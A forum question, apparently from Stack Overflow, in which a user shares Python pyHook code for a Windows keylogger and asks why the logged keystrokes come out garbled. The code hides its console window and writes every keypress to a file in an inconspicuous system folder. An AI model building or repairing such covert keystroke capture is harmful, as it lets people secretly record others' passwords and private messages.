So I'm new to Pyhook and wanted to make myself a keylogger for educational purposes. However, the log gives me weird inputs. It's either just random symbols, always in capital or all good and normal.
I'm using python 3.4 and I'm on Windows.
This is my code:
import pyHook
import pythoncom
import win32gui
import win32console
import os
import sys
import time
import getpass
file = open("C:\\Intel\\Logs\\log.txt", "w")
file.write("") #clears the log
file.close()
log_file = "C:\\Intel\\Logs\\log.txt" #name of log file
window = win32console.GetConsoleWindow() #go to script window
win32gui.ShowWindow(window,0) #hide window
def pressed_chars(event): #on key pressed function
if event.Ascii:
f = open(log_file, "a")
if event.Ascii == 97: # (if char is "return")
f.write("a") # (open log_file in append mode)
char = chr(event.Ascii) # (insert real char in variable)
if event.Ascii == 13: # (if char is "return")
f.write("\n") # (new line)
elif event.Ascii == 8: #(if char is "backspace")
f.write("[BACKSPACE]") #(print "[backspace]")
f.write(char)
print(char)# (write char)
proc = pyHook.HookManager() #open pyHook
proc.KeyDown = pressed_chars #set pressed_chars function on KeyDown event
proc.HookKeyboard() #start the function
pythoncom.PumpMessages() #get input
The code is mostly taken from internet but it's slightly modified.
Now the question is: How can I make sure that it always will be normal outputs?
Let me know if there is anything I need to clarify.